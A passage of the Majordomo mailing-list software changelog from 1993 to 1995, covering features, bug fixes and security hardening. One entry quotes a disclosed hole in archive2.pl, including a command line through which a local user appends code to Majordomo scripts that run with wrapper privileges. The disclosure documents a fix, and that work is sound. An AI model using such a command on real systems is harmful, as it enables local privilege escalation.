+ + * digest: + + From: pdc@lunch.engr.sgi.com (Paul Close) + + Basically, these diffs add the ability to send a digest based on time or + + number of lines, in addition to the usual byte count. I've changed the + + options as follows: + + + + -r same as always. + + -R receive, but don't make a digest, which allows batching. See -p + + to make a digest (or the make digest command). + + -p make a digest, but only if one should be sent. A crontab job would + + run this once a day to implement the time limit. + + + * majordomo: + + Catches attempts to subscribe the list to itself. + + Won't treat lines beginning with "-" as END if the header + + "Content-type" is found. This allows MIME messages through + + unscathed. + + New command: intro and newintro. These commands are used to + + retrieve the introduction file that is only sent to new + + subscribers. This is different than the 'info' file, which + + (potentially) anyone can see. + + New command: cancel, which is an alias for unsubscribe. + + X400 code checks for c= and a[dmd]= parts. + + Added max_which_hits to limit 'which' output. + ! Clarified help text + ! Calls open_temp for temp files + ! Sends the welcome message to the stripped address if strip is set. + + Expanded command 'unsubscribe *' + ! Fixes the "zero-length subscriber file" bug: checks the return + ! code on every print, open, and closeout. + ! Stricter check for the end of the header. + ! $cookie_seed defaults to $homedir. + + * majordomo.pl: + ! &abort now exits with EX_DATAERR which should avoid sendmail sending bounces. + ! Added a 'bitch' routine which bitches about things to the majordomo owner. + ! Fixed valid_addr to better check for domain style addrs. + ! Calls open_temp for temp files + ! Fixed addr_match to check for a @ in unsubscribe code + ! (to allow 'unsubscribe alt.sys.something', for example) + ! Abort now sends mail if the permissions are set wrong, instead of looping endlessly. + - main'open_temp is now in shlock.pl + + * shlock.pl: + ! From: Bill Houle + ! Chan- here is a replacement version of "shlock.pl" to replace the combined + ! code in majordomo.pl and shlock.pl. There may be some minor code fixes, but + ! most importantly, it consolidates from the two files. This makes "shlock" a + ! standalone package usable in other utilities. + + $shlock'retries is setable. + + retry sleep is 1-10 secs, random. + + * resend: + + Largely rewritten to make it easier to comprehend. + + Extracted the header length restrictions, now defined in the .cf file. + + Now has global_taboo_headers, which means that the administravia + + checks are now easily configurable. + ! Added more checks for mailer messages. + ! Adds the blank line between the header and body. + + Mungedomain is heeded by resend for posting to a closed list. + + Additionally checks the reply-to field for posting approval + + Added taboo_headers and taboo_body checks. + + * approve: + ! Fixed 'can't find passwd' bit. + + * config-parse.pl: + + writeconfig checks that the new config is written out + + safely. + ! &grab_restrict_post only adds $listdir if needed. + ! Changed writeconfig to write shorter lines. + ! Aborts instead of dies (political statement?) + + Added taboo_* stuff, private_intro. + + * archive2.pl: + ! chdir $HOME. + ! removes Approved header. + + * wrapper.c: + ! setgroups can return non-zero, checked for that. + + * bounce: + + Took pdc@sgi.com's version, which... + + 1. If you use -expire and give it a list of bounces entries (from who + + or just the list) it will issue unsubscribes for all the entries older + + than a certain date. + + + + 2. If you use -unsub (or if the program name contains unsub), bounce + + will unsubscribe the user from the list, but not add them to bounces. + + This is good for handling people who request to be unsubscribed, but can't + + figure out how to do it themselves. I suggest linking bounces to unsub. + + This is handier than it might sound :-) + + * sample.cf + + Updated for global_taboo_headers. + + Updated for &abort error codes. + + * FAQ + ! latest version from rtfm.mit.edu + + * misc + + From: "John C. Orthoefer" + + A cgi-bin script that presents a simple + + subscribe, unsubscribe, who, and info command via the web. + + It's in the contrib/md-sub directory. + + + From: Lindsay Haisley + + The following is a short program I cobbled together to adjust digest volume + + and issue numbers in config files. The program should be run from the md + + wrapper to provide an appropriate environment. I will be running it + + indirectly out of a cron job on the first of every month so that my volume + + and issue numbers on a daily-generated digest will reflect the month and + + day-of-month. + + + From: shane@themacs.com (Shane P. McCarron) + + Program for adding sequence numbers to subject lines. + +Tue Jan 10 18:33:22 1995 John P. Rouillard (rouilj@dstar.iddis.com) + + * Changelog: release of majordomo version 1.93 + +Sat Jan 7 17:35:18 1995 John P. Rouillard (rouilj@dstar.iddis.com) + + * FAQ: Added new faq that is updated for 1.93 release. + + * sample.cf: + Added variables that control X.400 address analysis attempts. Turned + off by default. + + * majordomo.pl: + Added better do_exec_sendmail that doesn't append the nul arg to + sendmail) which some sendmail lookalikes barf on). I also added the + code that attempts to handle X.400 addresses in a safe way. By default + it isn't enabled. There is a varible that has to be set before it + becomes active. + + * resend, new-list: + removed main'do_exec_sendmail since it is done in majordomo.pl now. + + * config_parse.pl: + Fixed error message and fixed bug where I did an open_temp and + shouldn't have since the file was due tio be clobbered, but the file + was in $listdir anyway, so it shouldn't be a security problem. + + * wrapper.c, Makefile: + Fixed define for using setgroups, and added appropriate parameter to + makefile for posix build. + +Mon Jan 2 20:15:38 1995 John P. Rouillard (rouilj@dstar.iddis.com) + Released majordomo 1.93beta1 for testing. + + +Mon Jan 2 19:31:38 1995 John P. Rouillard (rouilj@dstar.iddis.com) + + * FAQ + Got newest FAQ from majordomo@pop.psu.edu, and corrected mkdigest + usage that was stripped by the html parser. + + * archive2.pl: + Added attribution for code, and added algorithm and labeled points in + the code for a writeup of my analysis. + + * config_parse.pl: + Added open_temp calls to writable open files for the config and + newconfig file opens. In retrospect, they probably aren't necessary + since being able to write the $listdir is a fatal security hole + anyway. + + * README: + Documented nature of race condition, and the assumptions that were + made concerning the solution to the race condition. + + * README, Makefile, Changelog: + Added text for 1.93beta1 release of majordomo. + + * Makefile: Fixed distribution target. + + * Makefile: Install the test script by default. + + * resend: fixed another administrivia filter + + * Changelog: updated + +Mon Jan 2 00:20:12 1995 John P. Rouillard (rouilj@dstar.iddis.com) + + * README: Added description of fixed approve bug. + + * approve: + fixed bug with warn being a list argument and taking the return + as an arg in a , statement + +Sat Dec 31 23:00:29 1994 John P. Rouillard (rouilj@dstar.iddis.com) + + * shlock.pl: + Added some debugging code for testing lock files, and cleaned error + message. + + * archive2.pl: + Compared device numbers as well as inode numbers for the files, and + handle the case of a missing archive file properly by performing + symbolic link and inode/device checks after the open has suceeded if + the file didn't exist in the first place since the comparison is + actually time invarient. + + * shlock.pl: Fixed the race condition in opening of the lock file. + + * majordomo.pl: Check device number for file as well as inode. + +Tue Dec 27 20:43:44 1994 John P. Rouillard (rouilj@dstar.iddis.com) + + * bounce: Globbing no longer needed. + + * README: + documented fix of shell glob failure on which and lists commands. + remumbered fixes. + + * bounce: replaced glob on ~ for perl5 comptibility + + * majordomo: fixed list/which failure when globbing to many lists + + * README: included additional info on wrapper changes + +Tue Dec 27 00:14:49 1994 John P. Rouillard (rouilj@dstar.iddis.com) + + * digest, majordomo.pl: + Also have to check the filehandle to make sure that it doesn't have + more than one link to it. + + * digest: + Wrapper opens many temporary files, so I have (hopefully) implemented + a more secure way of opening newly created files so that arbitary + files owned by majordomo can't be overwriten/appended to. + +Mon Dec 26 23:58:55 1994 John P. Rouillard (rouilj@dstar.iddis.com) + + * archive2.pl: + Paul Phillips provided some code to close the following hole. + + Date: Tue, 06 Dec 1994 01:48:46 PST + From: Paul Phillips + Subject: Serious security hole in archive2.pl + + I have found what I believe to be a very serious security hole in the + archive2.pl script supplied with majordomo 1.92. + + Problem: Any user on the system can append to any file writable by the + wrapper program. + + Explanation: The archive2.pl script takes as arguments an archive file + (the -f option) and a file to be appended (-a). According to the docs, + the recommended permissions for the wrapper are 775, world executable, + which will allow a malicious user to execute + + % /usr/local/mail/majordomo-1.92/wrapper archive2.pl -f + some-majordomo-program -a file-with-hacker-text-to-append + + This allows him to append perl code to majordomo (for example) to be + later executed with wrapper permissions. + + * test: A file to test for uid/gid setting under the wrapper + + * Makefile: + Set up for posix/solaris 2.x build at IDD. Also cleaned up some bogus + non empty lines. + + * README: + Added comments section at the top of the README describing the changes + including the license file and the fixed from 1.92. + + * wrapper.c: + Added a cast to shut up gcc, and added a setgroups call to clobber all + group memberships from sendmail. This only works for POSIX where the + euid is root. + + * sample.cf: added required @archive_dirs array. + + * resend: Changed copyright notice. + + Quoted @ signs. Replaced open() class with calls to open_temp that + should reduce the chances of a bad person exploiting a race condition + between the existance test and the open. I also changed dies to + aborts so people are notified, also I labeled the different abort + messages so that identical messages can be differentiated. + + I added better/smarter admiistrivia checks especially making a better + help filter. + + Fixed the unlink glob failure bug that was introduced in the 1.92 release. + + * request-answer: Quoted @ signs for perl5. + + * medit: Changed copyright notice. + + * majordomo_version.pl: + Version 1.93beta1. Here's hoping we don't run out of version numbers before + 2.0 is released. + + * majordomo.pl: + Added the function main'open_temp which is a function that will open + temporary files trying to make certain that the opened file is a new + file and not a file that is already in existance. The only side effect + is that the file that is opened (by somebody attempting to fool the + open function) may have its atime updated. + + * majordomo.cf: + Added @archive_dir and converted for use at dstar.iddis.com. + + * majordomo: + Changed the copyright notice, and quoted the @ sign for perl5. + + * config_parse.pl: + Quoted @ signs and $ signs in strings or patterns for perl5. Also + added the characters @ and ! as being valid for regular expressions + for advertize and noadvertize. + + * bounce-remind: Quoted @ signs in strings for perl5. + + * approve: + Removed ~/.majordomo glob which didn't work under perl5, and replaced + it with $ENV{HOME}. I also turned mail into /usr/ucb/mail so the -s + flag always (I hope) makes sense. + + * LICENSE: the license for majordomo use + +Thu June 6 15:50:23 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + * + Updated files to report version 1.92 release + * + Added code to handle two types of Security problems caused by + using putting from line. Sendmail is now invoked using -t flag + when to address is derived from the From line. Sendmaiil is + exec'ed after perl forks rather than opening directly with + open, from lines with a - sign at the front of the address are + bounced as hostile addresses. + +Mon May 9 17:16:52 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * ALL + released version 1.90 of majordomo + + * Makefile: + added -f to rm so it always completes sucessfully for the distclean + target. + + * README: + Added comments about the list membership advertize feature that always + lists any list you are subscribed to. + + * Makefile: + added specific archive install targets, added distribution target, moved all install targets together + + * digest: Added code to smash list name tolowercase. + +Sun May 8 22:28:49 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * README: + Added comments about making sure that digest has its archive and + incoming directories created + + * majordomo: + Set up help function to use $majordomo_receive to properly tailor the + help message. + + * sample.cf: + documented that majordomo_receive is also used to determine the help + text that is sent. + + * sample.aliases: Lowercased Sample list for -l flag to resend + + * README: + Documented need for /etc/majordomo.cf so that medit will work. + Documented that the value for the -l flag to resend should be all + lower case. + + * resend: + Added code to smash case of list name specified with -l option since + $opt_l was passed off directly to config_parse.pl, and majordomo + always smashed case on lists when creating them. + + * medit: Changed default majordomo.cf location to /etc/majordomo.cf + + * README: + Fixed some typos and expanded on perl version information, and made + some constructs parallel. Updated thanks list to include Jerry Peek. + +Sun May 8 02:32:59 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * config_parse.pl: + Fixed up a bit more debugging cruft to stdout. Now it check the debug + flag before printing errors. + + * digest: Fixed bug in file limiting code. + +Sat May 7 22:09:17 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo: + Changed we're to we are to get around bug in emacs perl mode. + + Also changed all occurances of: + if ( (!$list) || ! ($clean_list = &valid_list($listdir, $list))) { + to + if ( ((!$list) || ! ($clean_list = &valid_list($listdir, $list))) + && defined($deflist)) { + + This makes error work properly when a request like: + + subscribe rouilj@cs.umb.edu + + is made to a majordomo running without the -l flag. + + Also any error in newinfo or in newconfig causes all text to be eaten + up to the trailing EOF statement so that here text isn't accidnetly + executed. + + * digest: + Added code to only include files with the name [0-9]* in a digest. + It warns if there are files that aren't supposed to be in the + incomming directory. + + * config_parse.pl: + made grab_absolute_file and grab_absolute_dir to be no ops. + + * README: Removed section on global indexing of majordomo + + * config_parse.pl: fixed formatting + + * majordomo.cf: Fixed comment formatting. + + * Makefile: + Removed unused install target. Added explicit shell setting. Split + install-scripts into install-scripts and install-cf. Install-cf + installs ./majordomo.cf or ./sample.cf if majordomo.cf doesn't exist + as the $W_BIN/majordomo.cf. Added dist-clean target for use by cvs to + clean up stuff when checking out majordomo-dist. + + * sample.cf: updated to match current majordomo.cf + + * config_parse.pl: + Added debug print supression to making defaults announcement. + +Fri May 6 22:04:19 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * FAQ: Deleted old comment according to David Barr's request. + + * FAQ: Updated FAQ from Dave Barr. + + * README: + Updated version statement in the README. It is now the readme for + 1.90. Added tricks section. Updated FAQ notes. + + * README: + Added comments about the 1.90 cognizant version of the majordomo + chapter being done and becoming available via ftp in due time. + + * resend: + Fixed bug that prevented addministrivia checks from functioning. Hey + lets hear it for regression suites. If I'd let this one slip out + again, I would never have heard the end of it. + + * README: Added info blurb about gloal indexing + +Fri May 6 18:23:48 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * majordomo_version.pl: + Upgraded version identfier from 1.90b2 to 1.90. I won't miss this + again 8-). + + * majordomo.cf, majordomo: + The -l flag enhancements weren't quite right. There was no variable + that could be used to turn off the unsubscription information for + using the -request address. The majordomo config file majordomo.cf now + sports a majordomo_request variable that will enable the -request help + messages. By default the variable's value is 0 which supresses the + help message. + + * config_parse.pl: changed debug value to 0. + +Thu May 5 20:28:54 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * Description: + Changed all references to "I" into Brent Chapman, or Brent. + +Tue May 3 22:22:03 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * resend, README: + Added RCPT: filter to resend, and updated the bugs page + that the rcpt shouldn't be an administrivia bounce, and + the expressions that get filtered should be settable by the + list admin. + +Mon May 2 22:02:57 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * mod_addr.diff: + Arnold de Leon's patches for specifying a seperate moderator + for bounced email from resend. + + * README: + Added Arnold de Leon's patches for specifying a seperate moderator + for bounced email from resend. + + Added a bugs/todo/misfeatures section. + + * majordomo.man, majordomo.8: + Mentioned list descriptions returned by the lists command. + Mentioned using \ at the end of lines to continue a line. + + * README: + Added comments about list-managers and that majordomo operation + questions are not appropriate for that list. + + * new-list: Fixed assignment so it is a scalar assignment. + + * resend: Added code to eliminate help admistrivia + +Thu Apr 28 16:36:04 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * README: Added error description for "unknown mailer error 5". + +Wed Apr 27 19:17:04 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * majordomo: + tail anchored the regexp. This should make it a bit faster to apply. + + * majordomo: + Added test to make sure that shell expansion suceeded before + doing unlink. + +Tue Apr 26 22:02:09 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * README: + Changed format of list names so that only lowercase letters + are allowed. + + * README: + Fixed fome paragraph formatting. added some aditonal comments about + the stuff in config. added a new section about majordomo error + messages. + +Fri Apr 22 19:20:14 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * digest.diff: Adds functions to digest. + + * makeindex.pl: Made commentary change as Paul Close requested + + * logsummary.pl: + Fixed syntax problem for 4.019 perl, and made the script ignore blank + lines in its input. + + * makeindex.pl: Fixed syntax problem for 4.019 perl. + + * makeindex.pl, logsummary.pl: + some neat program from Paul close inital checkin. + + * resend: + Made Getopts failure message say that getopts failed but the error + produced is still cryptic. It doesn't look like getopts returns a real + error for a missing required argument.. + +Thu Apr 21 16:56:57 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * README: Documentation changes to make thing clearer. + + * config_parse.pl: + Changed description for subscription_policy. auto is now described + after open to point out the differences a little better. + +Wed Apr 20 23:19:42 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * digest: Fixed typo that affected the name of the archive dir. + + * majordomo.cf: + Added comments stating that @safedirs is essentially a no op. + + * majordomo: + Commented out setting of PATH in majordomo since the wraper does it + already, and the wrapper is easily customizable in the makefile. + + * README: + Changed location of text that discussed the -l option to majordomo. + Added comment about moving archive2.pl from its install area in Tools + to the top level majordomo directory if you want to use it. + +Sun Apr 17 20:07:00 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * resend: + Fixed a bug when moderated and restricted posting (-I) options are + used together. I moved the code that bounces non-approved submissions + to moderated lists after the code that checks to see if the persion is + allowed to send email. Now if a message comes in to a -I/-A list, it + will be checked to see if the person is on the approved posting list. + If not, then the message will be bounced with "Non member submission". + If the person is allowed to submit, but they didn't provide the + approval password, the you get an "Approval Required" message. + +Thu Apr 14 06:49:10 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * resend: + Added code that checks to see that we have at least one outgoing + address to send to. + +Fri Apr 8 22:13:46 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * majordomo.ora, README: added O'reilly chapter on majordomo + + * Description: + updated Description with new 1.90 commands for config file and digest + +Sun Apr 3 22:49:59 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * FAQ: first FAQ installement + + * majordomo_version.pl: updated version info to 1.90b2 + + * Rereleased version 1.90b2 with updated internal version + info. + +Sat Apr 2 22:36:32 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + * Release of 1.90 beta 2 + +Sat Apr 2 22:34:32 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * sample.aliases: Added Paul Pomes aliases. + + * README: + Said README was for 1.90 beta 2. Added questions from majordomo-users + mailing list. Made note that FAQ is still under development. Added doc + about other README's. Added Paul Pomes sample init code for message + fronter and footers. + + * config_parse.pl: Added default value for message length at 40000. + +Mon Mar 14 18:40:25 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * config_parse.pl, README: + Fixed typos that Brent Chapman sent me with the README file. I fixed + the corresponding spelling mistakes in the config_parse.pl file so + that the mistakes aren't propigated into the config files. + + * resend, approve: + Added patches from Brent Chapman for bug fixes to 1.62 that I had not + integrated. + + (Brent) I pulled over 1.90b1 and integrated the changes I'd made to + Majordomo since 1.62 that you hadn't already made. Basicly, there + were 3 minor bug fixes: + + Fixed a minor bug in "approve": it was using the "mail" program + in some places + and the "Mail" program in others, but now consistently uses "mail". + + Fixed a minor bug in "resend" that was causing it to try and validate + "Approved:" headers anywhere in the body of a message, instead of just + in the first line of the body, if the "-M" argument was not set. + + Fixed handling of "-I" argument to "resend", so that it would squawk + if a "-I" argument file couldn't be found, and so that $listdir is prepended + to the arguments only if they aren't already absolute path names (i.e., + only if they don't already begin with "/"). + + Here are diffs for "approve" and "resend". I have NOT tested these + yet, but the patches were pretty simple so they'll probably be OK. + + * README: changed install directions to confiorm to makefile changes + + * Makefile: + fixed filename references and reduced amount of root installion requirement + + * wrapper.sh: fixed varible refernce + + * majordomo.cf: + Added code to use the HOME environment variable defined by the wrapper + to set $homedir. + +Mon Mar 7 20:57:12 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * README: ran though ispell + + * majordomo_version.pl: updated version string + + * sample.cf, majordomo.cf, README, Makefile: + documentation updated to 1.90 + +Sun Mar 6 22:43:36 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * resend, majordomo, config_parse.pl, Makefile: + Obsoleted split_archive.pl in favor of brent's archive2.pl program. + + Makefile: + modified to use contrib directory to copy archive2.pl from. Also + digest/digest is copied into place in install-scripts. + + config_parse.pl: + changed sender default value to be owner-listname from + listname-Owner. + readded archive_dir + reply-to default changed to strip -digest from listname + added digest specific keywords + + 'digest_volume' 'digest_issue' 'digest_work_dir' 'digest_name' + 'digest_archive' 'digest_rm_footer' 'digest_rm_fronter' + + All comments have removed references to command line flags. + to make this true, the command line flags will have + to be removed, but that will be the case for new installations. + + subject_prefix commeent talks about duplicate supression. + + changed &mk_default_config to &writeconfig + increased size of key in comments section + + fixed bug in '-' escape handling that resulted in incorrect reverse + escaping. + + grab_absolute_dir now uses key in error messages. Empty directory no + longer an error. + + majordomo: + + $main'main_program is set to mj_majordomo + + add some sanity checking for majordomo.cf file. + + added mkdigest command to drive digest creation + + fixed bug with mungdomain enabled that causes a match to occur + for an address when subscribing, but not for unsubscribing. + + fixed format of some help messages to allow them to stay less + than 80 characters per line. + + resend: + + set $main'main_program to mj_resend + +Mon Feb 21 18:27:35 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo.cf, config_parse.pl: + Made digest part of the config file code enhancements. + + * majordomo: + removed #dashl comments since the -l code seems to work properly. also + added $main'main_program variable. + + * resend: Added $main'main_program variable. + +Sun Feb 20 05:32:18 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo: + Merged in changes to support a -l argument to majordomo from R. Gary + Cutbill rgary@x.org. If majordomo is run at the request address with + the -l argument, then the list name is optional in + majordomo commands. + +Fri Feb 18 04:58:42 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * resend: + Fixed bug that resulted in subject tag not being applied where it + should have been because the regular expression that eliminates + subject tag application if the tag already exists didn't have its non + alphanumeric characters escaped resulting in misinterpreted regular + expressions. + +Thu Feb 17 20:02:32 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * wrapper.sh: added support for apollo DomainOs to the wrapper. + +Wed Feb 9 20:12:20 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * resend: + Added check so that the subject_prefix is put onto the front of the + subject line if and only if it hasn't been found in the subject line + already. This should prevent subject lines like: + + Subject: [list] Re: [list] foo bar baz + + This also enables preservation of Re: by mailers so that they don't + add more stupid Re:'s at the beginning of the subject. + +Tue Feb 8 00:11:53 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * Changelog: fixed line breaks + + * config_parse.pl: + added to man page, and moved known_keys nearer to top of file + +Mon Feb 7 22:51:04 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + * RELEASE OF 1.62 CONFIG BETA 3 + +Mon Feb 7 20:37:32 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo.pl, majordomo: + Added code to allow "\ " to escape a space in the majordomo command + line. Also added " " as a valid character in the filename. + +Sun Jan 30 04:31:00 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * resend: + Added & to sendmail command that calls the actual list distribution + address. This should help to alleviate some of the memory thrashing + that goes on with resend by colapsing the sendmail -> resend -> + sendmail to the final sendmail since the first sensmail, and the + resend will exit. + +Fri Jan 28 15:48:02 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo: + added code so that a list is displayed if the person is on it + + * majordomo: increased width of description to 56 + + * majordomo: decreased list output indentation to 2 spaces + + * majordomo: + fixed width of description at 55 characters to prevent lines > 80 characters in list output + + * majordomo, config_parse.pl: + Added code that changes the sender of the welcome message generated in + response to a subscribe command to be the sender of the list that is + subscribed to. This will do some nice things like alerting the list + manager to bogus addresses on the list. It will also supress the + annoying message that I get when I subscribe somebody to the bounces + mailing list. I know that the address I put on bounces is + undeliverable, why do you think I put it on bounces 8-). + + * majordomo: + first cut at geting bounced welcome messages to go to the list owner rather than + majordomo-owner + +Wed Jan 26 01:24:35 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * Makefile: added deletion of *~ to clean target + + * resend: reformatted comment and reordered test for subject_prefix + +Tue Jan 25 20:58:12 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo: logging for create list if successful added + + * majordomo: fixed lack of log for successful writeconfig + + * majordomo: + Added do_digest and ccreate list code (using external programs) to majordomo + +Mon Jan 24 19:45:41 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo.pl: + added local(diff) to is_member per patch from brent chapman + +Sat Jan 22 21:15:52 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * config_parse.pl: + Fixed spelling typo and rewrote doc string for mungedomain. + + * resend, config_parse.pl: + The subject_prefix keyword is now expanded the same as header, footer, + fronter etc. Doc string has been changed to reflect this. + + * majordomo.pl: + Changed the mechanism by which I got the name of the list. The local + parameter $clean_list is now used rather than $mail'clean_list which + doesn't exit. + + * majordomo.pl: + Changed the order of the parameters to addr_match so that mungedomain + comparison worked properly. It looks for arg2 to be a changed version + of arg1. + + * config_parse.pl, majordomo.cf: + Fixed default archive directory specification to include listname. I + also made it properly pass configuration checks. + + * majordomo.pl, config_parse.pl: + Added code that applies the mungdomain logic to all of the private_ + options. I also changed the documentation to reflect that fact. + + * config_parse.pl: + Changed top explanatory text for config file to make use of - sign + correctly explained. + + Fixed code that eliminates \001's in regexp_arrays. + + Fixed code that interprets - sign escapes in string_arrays. + +Fri Jan 21 02:11:13 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * config_parse.pl: + Fixed a bug where expansion tokens in the explanatory test were being + expanded out of existance. + + Added fix for an obscure bug dealing with directory specifcation and + $list having a .new at the end. + + Made some commentary more explanatory, and fixed a few errors. + + Added code to allow - signs to have three functions in a here document: + + To embed a blank line in the here document, put a '-' as the first + and ONLY character on the line. + To preserve whitespace at the beginning of a line, put a - on the + line before the whitespace to be preserved + To put a literal '-' at the beginning of a line, double it. + + + +Fri Jan 7 09:01:01 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + * RELEASE OF 1.62 CONFIG BETA 2 + +Fri Jan 7 05:23:35 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo: + Added code that implements a simple line continuation character. Using + \ as the last non whitespace character on the line causes the + following line to be added to the current command string. One bug, + when the command is printed out, it is all printed on one line, and + not as the sender typed it. + + * resend, config_parse.pl: + Added the ability to prepend a word to the subject line. Uses the + config file parameter subject_prefix. This is useful for those reading + mailing list mail using mailers that can sort messages by subject + only. + +Fri Dec 10 11:51:04 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + * RELEASE OF 1.62 CONFIG BETA 1 + +Thu Dec 9 06:54:30 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * regress.t04, regress.t03, regress.t02, regress.t01, regress.e04, + regress.e03, + regress.e02, regress.e01, regress.t05, regress, rcmp: + the started regression suite + + * README.CONFIG: added coment about tailoring %known_values + + * config_parse.pl: + cleaned up some documentaion, and cleaned the code a bit too. + No functional chnages + + * README.CONFIG: first cut of readme file + + * resend: + fixed tail recursion problem that stopped final line from being + \n terminated in message_fronter + + * resend, majordomo, config_parse.pl: + Removed getconfig_password. If they can getthe config file, then they + can get the admin password. Not really smart. + + Added message_fronter option. This text is prepended to the message + body. + + Added a man page describing the config_opts interface somewhat to + config_opts.pl. + +Wed Dec 8 07:07:47 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * config_parse.pl: enhanced docs for headers and footers + + * resend, config_parse.pl: + Changed blank line equivalence character to be a '-' standing alone on + the line. The inital . played havoc with sendmail, since sendmail + exited once it saw the ., and I didn't want to play around with + doubling the dot etc. Besides, that would have made updating the + config file by editing the one received via mail impossible. + + I also have expansion operating correctly now. The substitution is + being done in resend rather than in the config file code. Also, I + removed an optimization that prevented scanning for ^from lines unless + the -I option was used. Now that this optiminbzation is gone, $sender + processing works fine. + + * Makefile: changes for development installation. + + * majordomo, config_parse.pl: + Normalized all options names. _ is the seperator of choice. Added + message_footer and message_headers keywords. This also required that I + implement a blank line equivalence. A single period sitting alone on a + line creates a blank line in the output. This single period is + recreated by writeconfig. + + A hidden file is now equivelent to noadvertize = /.*/; + + Created the function substitute_values that replaces strings in text + context. + + Added get_config code for do_approve and do_passwd. + + Parens were added to the unlink command to have it do the right thing. + + * majordomo.cf: changes for development path + + * majordomo_version.pl: version id 1.62Dev development + + * resend: + Added code to allow header and footer generation. The headers and + footers are ocuring in the message properly, but the range of textual + substitutions that I wanted isn't the best. The config code is called + and substitution is done before any of the headers from the message + are parsed. Thus things like sender, subject etc are not available to + me for substitution in the header and footer text. + + Solving this problem may require a rewrite of the logic of resend. I + don't relish the thought. Alternatively, I could try to find a way to + do delayed expansion of tokens. Actually this might work. I can expand + the template at the time I actually use the template. Hmm, I'll think + about it tonite. + +Thu Nov 25 07:09:16 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo: + The keyword subscribe_policy was being incorrectly checked for as + subscribe-policy, thus all closes/auto functions were broken. I have + changed the occurances of subscribe-policy to subscribe_policy to fix + the problem. I also need to reconsile all of the keywords so they use + either a - or an _. This mixed seperator stuff is for the birds. + +Wed Nov 24 00:00:32 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo_version.pl, majordomo.cf, Makefile: + Changes to allow a straight make in the /tools/majordomo-1.62_config + directory. Makefile modified to set up following tree: + + (root is W_BIN below) + root -+-- -- actual majordomo scripts, libraries etc + +-- wrappers -- executable wrappers and wrapper shellscript + +-- Tools -- tools like split archive and digest + +-- bin -- user level tools, approve, bounce etc + +-- man -- man pages + + This is the tree I will be working with. also added make + permissions-shared to minimize anount of code that was to be run as + root. + + Version changed to be 1.62C, and majordomo.cf changed to point to + correct homedir. + +Tue Nov 23 23:51:40 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * config_parse.pl: + Changed mk_default_config to use END as the delimiter for array value + specifications so that EOF doen't conflict with the use of EOF in + newconfig. + + * bounce-remind: changed Bounces to bounces. + +Fri Nov 19 17:48:38 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo: fixed date stamp on info file + +Thu Nov 18 23:53:35 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * config_parse.pl: + Changed mk_default_config so that it is now a two stage process using + an intermediate file, rather than forking and postprocessing the input + using the child process. When forking, I was having all sorts of + problems with the parent's STDIN getting mixed into the child's STDIN + producing garbage. Now an intermedaite file (listname.config.out) is + used to hold the text. The text is then read in, and comment + characters, and a header is added when necessary. This is output + to listname.config, and the temporary file listname.config.out is + removed. + + * Makefile: added existance tests for directories before creating them + + * config_parse.pl: Added support for array and enumerated types. + + Arrays are specified using the + + name << EOZ + value1 + value 2 + EOZ + + syntax. + + Also enhanced the commentary code. + + Added debugging levels and options. + + Added hooks for allowing incremental specification of a config file. + + * Makefile: added install shared and a couple of other targets. + + * majordomo.cf: added safedirs for locations of archives + + * majordomo: + Changed last of config_opt{} references to use ',' instaed of '.'. + + Added support for advertize/noadvertize being array's of regexps. + + Added file handle flushing for REPLY filehandle to try to get around + an intermix problem. + + Added subscribe policy as a token rather than open, closed, or auto + keys. + + Added writeconfig keyword and fucntion that writes the configuration + file out as it is held in the config_opts array. + + Converted cf_bool (old style) to cf_ck_bool. + + * majordomo.pl: + Fixed bug with multiple index concatenation in %config_opts{} with + admin_passwd. Also added a patch from Brent that fixes a filehandle + bug 